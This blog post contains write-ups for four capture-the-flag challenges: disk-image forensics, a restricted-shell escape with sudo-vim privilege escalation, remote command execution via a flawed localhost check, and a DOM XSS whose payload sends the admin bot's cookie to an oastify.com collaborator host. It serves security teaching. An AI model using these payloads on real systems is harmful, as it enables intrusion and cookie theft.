Post

ICMTC 2026 CTF Writeups: Black Box, Endgame, CatchEmAll & Osuvox Forums

ICMTC 2026 CTF Writeups: Black Box, Endgame, CatchEmAll & Osuvox Forums

1. Black Box (Misc)

Description

Description

A drive image recovered from a failed extraction. The operative who was carrying it didn’t make it out. The image did. Whatever was being prepared for transport is still inside — locked, but not gone. Connect to this challenge via SSH using the IP and port provided — ssh rook@<IP> -p <PORT> (password: hackthebox).

after connecting to the instance, the environment contained a forensic disk image and a few documentation files:

  • blackbox.img (A forensic Linux disk image)
  • BRIEFING.txt (The mission objective)
  • verify (A binary executable to submit the final recovery code)

files

BRIEFING.txt contains the following background:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  ┌─────────────────────────────────────────────────────┐
  │        GROUNDWORK  //  MISSION 09: BLACK BOX        │
  │                   BUREAU ASSESSMENT                 │
  └─────────────────────────────────────────────────────┘

  ROOK,

  We recovered a drive image from a previous operation.
  Whoever was carrying it did not make it out.
  The image did.

  It is on this terminal. Get inside it and recover
  whatever was being prepared for transport.

  The archive inside is encrypted. The key did not
  leave with the operator — it never does.

  Submit with:  ./verify <recovery_code>

    — W

Methodology & Exploitation

Step 1: Internal File System Exploration

We are dealing with a Linux filesystem disk image (blackbox.img). To inspect its structure and contents without needing root permissions to mount it locally, we can leverage debugfs.

First, let’s list the root directory contents inside the image:

1
2
debugfs -R "ls -l /" blackbox.img

blackbox.img

Seeing some critical assets listed in the output, we safely dump them from the filesystem into our current working terminal environment for closer examination:

1
2
3
4
5
debugfs -R "dump /notes.txt notes.txt" blackbox.img
debugfs -R "dump /contacts.txt contacts.txt" blackbox.img
debugfs -R "dump /archive.zip archive.zip" blackbox.img
debugfs -R "dump /logs logs" blackbox.img

Step 2: Analyzing the Protection Profile

Attempting to directly extract archive.zip prompts us for a password, confirming it is fully encrypted. archive.zip

To look for configuration files or credential leaks, we review notes.txt:

1
2
3
4
5
6
7
Exfil package prepared 2031-03-18.

Recovery data archived and encrypted using standard Bureau
tooling. See pack.sh for archive parameters.

Contents verified before transport. Package ready.

The notes point directly to an archiving configuration script named pack.sh. Since it wasn’t exposed in the primary root directory dump, we search the surrounding machine context using the find command:

1
2
find / -name "pack.sh" 2>/dev/null

pack

Step 3: Extracting the Encryption Key

Inspecting the parameters inside the recovered pack.sh script exposes the cryptographic variable configuration:

1
2
3
PASS=$(echo "YjNhMTlkYTFiNTVjZTQ2Yw==" | base64 -d)
zip -r -P "$PASS" "$OUTPUT" "$TARGET_DIR/"

The password string is hardcoded inside the script logic but masked using Base64 encoding. Reversing the encoding layer exposes the cleartext value:

1
2
3
4
echo "YjNhMTlkYTFiNTVjZTQ2Yw==" | base64 -d

# Decoded credential: b3a19da1b55ce46c

Step 4: Accessing the Target Payload

With the proper password string (b3a19da1b55ce46c) uncovered, we unlock the archive container:

1
2
unzip -P b3a19da1b55ce46c archive.zip

unzip

This unpacks recovery.txt. Reading the file gives us the targeted application recovery code required by the bureau assessment validation software:

1
2
3
cat recovery.txt
# recovery code: 9493d45262e87d807d6a09cda61e73fb6f2275d2c9f59308fb91d94aa2bdb7c0

Feeding this key token directly into the verify script processes our validation check successfully and drops the flag:

1
2
./verify 9493d45262e87d807d6a09cda61e73fb6f2275d2c9f59308fb91d94aa2bdb7c0

verify

Black Box’s Flag

HTB{3xt2_s3cr3ts_r3c0v3r3d}


2. Endgame (Misc)

verify

Description

The final terminal. No briefing. No handler message on login. Just a line left in the shell history by whoever locked it down — and the work of getting through it. Everything you need to know, you already know. Connect to this challenge via SSH using the IP and port provided — ssh rook@<IP> -p <PORT> (password: hackthebox).

Upon connecting to the instance with the provided credentials (rook:hackthebox), we found ourselves in a highly restricted shell environment. This type of shell limits the commands a user can execute, making direct interaction with the system challenging.

ssh

Methodology & Exploitation

Step 1: Escaping the Restricted Shell

Restricted Shell

To gain a fully interactive shell, we needed to bypass the restrictions. We identified that awk was available and could be used to execute arbitrary commands. The system() function within awk allowed us to spawn a new, unrestricted /bin/bash shell.

1
awk 'BEGIN {system("/bin/bash")}'

After obtaining a bash shell, we sourced the .escape_profile to ensure proper environment setup.

1
source ~/.escape_profile

escape_profile

For a more interactive and stable shell experience, we upgraded our shell using python3:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Step 2: Privilege Escalation via sudo and vim

With an unrestricted shell, the next step was to look for privilege escalation opportunities. We checked the sudo privileges for the rook user using sudo -l:

1
2
3
4
5
6
7
8
9
Matching Defaults entries for rook on
    ng-team-316281-linuxfundamentalsendgame-mfugt-75696d5899-wfvbb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User rook may run the following commands on
        ng-team-316281-linuxfundamentalsendgame-mfugt-75696d5899-wfvbb:
    (agent) NOPASSWD: /usr/bin/vim

The output revealed that the rook user could execute /usr/bin/vim as the agent user without a password (NOPASSWD). This is a common misconfiguration that can be exploited to gain a shell as the agent user.

We exploited this by using vim’s ability to execute shell commands from within the editor:

1
/bin/sudo -u agent /usr/bin/vim -c ':!/bin/bash'

This command launched vim as the agent user and immediately executed /bin/bash, granting us a shell with agent privileges.

Step 3: Recovering the Flag

As the agent user, we navigated to the agent’s home directory and found a README file. The README contained an encoded string and instructions similar to the previous challenge, indicating a verification step.

agent

First, we decoded the provided string:

1
echo "==ANlVzY1gzN3EzM0IWZzQWZjljNmBTMhJDZ5QjNilzMmFzMxUmM1AjNlF2NiVDZiN2MhRmNyYjZhNzYyMzNxczY" | rev | base64 -d

This yielded the verification code: c71732c3af626da3cbd5b7ae6052e131f39b649d2a10f69ced3eb4317785c5e4.

Finally, we used the verify binary located in the agent’s home directory with the recovered code:

1
/bin/sudo -u agent /usr/bin/vim -c ':!/home/agent/verify c71732c3af626da3cbd5b7ae6052e131f39b649d2a10f69ced3eb4317785c5e4'

agent

This executed the verify script as agent and successfully returned the flag.

Restricted Shell Escape’s Flag

HTB{3sc4p3d_th3_c4g3_r00k}


3. CatchEmAll (Web)

Description

Description

Your one-stop resource to find which city you can find your favorite pokemon to catch on! Go catch ‘em all! Note: The remote instance might take a few minutes to spawn. Please be patient.

Upon extracting the provided archive web_catchemall.zip, we inspected the source code to understand the layout and find potential vulnerabilities.

Methodology & Exploitation

Step 1: Database Analysis (database.js)

We noticed that the application takes user input directly into a Cypher query without sanitization in the whereToCatch function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
const neo4j = require('neo4j-driver')
const { execSync } = require('child_process');

class Database {

	constructor() {
		this.driver = neo4j.driver("bolt://localhost:7687", neo4j.auth.basic('neo4j', 'admin'));
        this.db = this.driver.session();
	}

	async migrate() {
		return new Promise(async (resolve, reject)=> {
            while (true) {
                try {
                    execSync('cypher-shell -uneo4j -padmin --database=neo4j < /etc/neo4j/schema.cypher')
                    break;
                }
                catch(e) {
                    console.log('neo4j has not started yet, retrying..')
                }
            }
            resolve();

		});
	}

    async whereToCatch(pokemon) {
		return new Promise(async (resolve, reject) => {
			let stmt = `MATCH (p:Pokemon)-[c:CAUGHT_IN]->(d)  WHERE p.name = "${pokemon}"  RETURN d.name AS destination, c.catch_type as catch_type`;
			this.db.run(stmt)
                .then(result => {
                    let rows = [];
                    result.records.forEach(record => {
                        if(record.hasOwnProperty('_fields')) {
                            rows.push({destination: record.get('destination'), catch_type: record.get('catch_type')});
                        }
                    });
                    resolve(rows);
                })
                .catch(e => {
                    reject(e);
                })
		});
	}


}

module.exports = Database;%        

Vulnerability Found: Potential Cypher Injection via the pokemon parameter. The input is concatenated directly into the query string.

Step 2: Routing Analysis (routes/index.js)

When reviewing the router, we found two main endpoints:

  1. POST /api/catch: Handles the Pokémon search query.
  2. GET /debug: An endpoint that executes system commands using execSync(cmd).

While examining the /debug route, we discovered a fatal Logical Flaw in the localhost protection mechanism:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express        = require('express');
const { execSync }   = require('child_process');
const router         = express.Router({caseSensitive: true});

const isLocalhost = req => ((req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') ? 0 : 1);
const response = data => ({ message: data });
let db;

router.get('/', (req, res) => {
	return res.render('index.html');
});

router.post('/api/catch', async (req, res) => {
	const { pokemon } = req.body;

    if (pokemon) {
        return db.whereToCatch(pokemon)
            .then(rows => {
                return res.json(rows);
            })
            .catch(e => {
                console.log(e);
                return res.status(500).send(response(e.toString()));
            })
    }
	return res.status(500).send(response('Missing parameters!'));
});

router.get('/debug', async (req, res) => {
    if (!isLocalhost(req)) return res.status(500).send('Debugging is disallowed public access');

    const { cmd, secret } = req.query;

    if (! secret === process.env.DEBUG_SECRET ) return res.status(500).send('Unauthorized');

    if (cmd) {
        try {
            const cmdExec = execSync(cmd);
            return res.json({cmd, output: cmdExec.toString()});
        }
        catch (e) {
            return res.json({cmd, output: e.stderr.toString()});
        }
    }

	return res.status(500).send(response('Missing required parameters'));
});

module.exports = (database) => {
	db = database;
	return router;
}%       

The Flaw

The logic bug is in how isLocalhost is evaluated:

  1. When a request comes from the Internet, isLocalhost returns 1 (True).
  2. The check if (!isLocalhost(req)) then evaluates !1, which is false.
  3. Consequently, the block is skipped, and external users gain access to the debug functionality. Ironically, if the server itself tried to access it, it would return 0, and !0 would be true, resulting in a block!

Step 3: Remote Code Execution (RCE)

Since the /debug endpoint is fully exposed due to this logic bug and directly passes the cmd parameter to execSync(), we can achieve Remote Code Execution (RCE) instantly.

Looking at the initial file structure, we identified a compiled binary named /readflag designed to output the flag.

Execution Command

We sent a simple HTTP GET request to the /debug endpoint with the payload to execute the readflag binary the server responded with the command output containing the flag:

readflag

1
{"cmd":"/readflag","output":"HTB{0n3_1nj3c710n_t0_c4tch_3m_4ll!_f9713a454045f2f8ffd238a6f072389a}"}

CatchEmAll’s Flag

HTB{0n3_1nj3c710n_t0_c4tch_3m_4ll!_f9713a454045f2f8ffd238a6f072389a}


4.Osuvox Forums (Web)

Osuvox

Description

i-R0k and I0I created a marketplace for Oasis, continuously degrading players’ experience by creating Pay to Win conditions. Can you help the High Five to take it down?

Upon extracting the provided source files (challenge directory), we inspected the application structure to understand the layout and find potential vulnerabilities.

Methodology & Exploitation

Step 1: Bot Analysis (bot.js)

We noticed the application ships with an admin bot powered by Puppeteer, which holds a sensitive cookie and visits arbitrary posts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const visitPost = async (id) => {
    const browser = await puppeteer.launch(browser_options);
    let context = await browser.createIncognitoBrowserContext();
    let page = await context.newPage();
    await page.setCookie({
        name: "flag",
        'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}',
        domain: "127.0.0.1:1337"
    });
    await page.goto(`http://127.0.0.1:1337/posts/${id}`, {
        waitUntil: 'networkidle2',
        timeout: 5000
    });
};

Indicator Found: The presence of a headless browser bot carrying a flag cookie and visiting /posts/${id} strongly suggests an XSS scenario, where the bot acts as the “victim” holding the prize.

Step 2: Template Analysis (views/post.html)

While reviewing the templates, we found a | safe filter that disables Nunjucks’ autoescaping:

1
<p class="mb-1"></p>

Initial Lead: A | safe filter on post.description looked like a classic stored XSS sink.

Step 3: Routing Analysis (routes/index.js)

When reviewing the router, we found the available endpoints:

  1. GET /posts/:id: Renders a post and its comments.
  2. GET /report: Renders the report page.
  3. POST /api/report: Takes an id and triggers bot.visitPost(id).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const express        = require('express');
const router         = express.Router({caseSensitive: true});
const bot            = require('../bot');

let db;
let botVisiting = false;

const response = data => ({ message: data });

router.get('/', (req, res) => {
	db.listPosts()
	.then(posts => {
		return res.render('index.html', {posts});
	})
	.catch(e => {
		res.render('index.html');
	})

});

router.get('/posts/:id', (req, res) => {
	const { id } = req.params;
	if(!isNaN(parseInt(id))) {
		db.getPost(parseInt(id))
			.then(post => {
				db.getComments(parseInt(id))
					.then(comments => {
						return res.render('post.html', {post: post , comments: comments});
					})
			})
	} else {
		return res.render('post.html', {error: 'Invalid post ID supplied!'});
	}
});

router.get('/report', (req, res) => {
	res.render('report.html');
});

router.post('/api/report', async (req, res) => {
	const { id } = req.body;
	if (botVisiting) return res.status(403).send(response('Please wait for the previous report to process first!'));
	if(id) {
		botVisiting = true;
		return bot.visitPost(id)
			.then(() => {
				botVisiting = false;
				return res.send(response('Report received successfully!'));
			})
			.catch(e => {
				console.log(e);
				botVisiting = false;
				return res.status(403).send(response('Something went wrong, please try again!'));
			})
	}
	return res.status(500).send(response('Missing required parameters!'));
});

module.exports = database => {
	db = database;
	return router;
};

The Flaw

The logic bug here is not in the templates — it’s that:

  1. There is no endpoint to create a new post, so post.description can never be controlled by us. The | safe filter sink is unreachable.
  2. The id parameter passed to bot.visitPost(id) is concatenated directly into the bot’s navigation URL:
    1
    
    await page.goto(`http://127.0.0.1:1337/posts/${id}`, ...);
    

This means any extra query string appended to id (e.g. 1?search=...) gets carried straight into the bot’s browser navigation, untouched.

Step 4: Client-Side Sink (static/js/forum.js)

Searching the static JS files revealed the real injection point:

1
2
3
4
5
let params = parseParams(location.href);
if (params.hasOwnProperty('search')) {
    $('#search-res').style.display = 'block';
    $('#search-msg').innerHTML = `Search results for "${params.search}" :`;
}

Vulnerability Found: A classic DOM-Based XSS — the search query parameter is reflected directly into innerHTML with zero sanitization, entirely on the client side.

Step 5: First Attempt — Why It Failed

Our first payload was:

1
<script>fetch('//xxx.oastify.com/?c='+document.cookie)</script>

This rendered as plain text on the page and never executed. The reason: browsers never execute <script> tags injected via innerHTML, regardless of the application’s sanitization — this is a built-in DOM security behavior, not an app-level protection.

The fix: use a tag with an event handler instead, which does execute when inserted via innerHTML:

1
<img src=x onerror="fetch('//xxx.oastify.com/?c='+document.cookie)">

The exploit chain became a pure Blind XSS via the report bot:

1
GET /posts/1?search=<img src=x onerror="fetch('//COLLABORATOR_ID.oastify.com/?c='+document.cookie)">

We then triggered the admin bot via the report endpoint:

1
{"id": "1?search=<img src=x onerror=\"fetch('//COLLABORATOR_ID.oastify.com/?c='+document.cookie)\">"}

The server responded:

1
{"message":"Report received successfully!"}

Osuvox

Execution Result

Polling our Collaborator listener returned an out-of-band HTTP callback from the bot’s headless browser, containing the stolen cookie:

Osuvox

Osuvox Forums’s Flag

HTB{l00k_0uT_f0r_bl1nd_X55!!!}


“The winner takes it all. So, the winner takes it all.”

“Closed it out at 12th not where we want to stay, but it’s what it’s.”

12th

“Some others have confessed their wrongdoing: they have mixed goodness with evil.1 It is right to hope that Allah will turn to them in mercy. Surely Allah is All-Forgiving, Most Merciful.”
“وَآخَرُونَ اعْتَرَفُوا بِذُنُوبِهِمْ خَلَطُوا عَمَلًا صَالِحًا وَآخَرَ سَيِّئًا عَسَى اللَّهُ أَن يَتُوبَ عَلَيْهِمْ ۚ إِنَّ اللَّهَ غَفُورٌ رَّحِيمٌ”

This post is licensed under CC BY 4.0 by the author.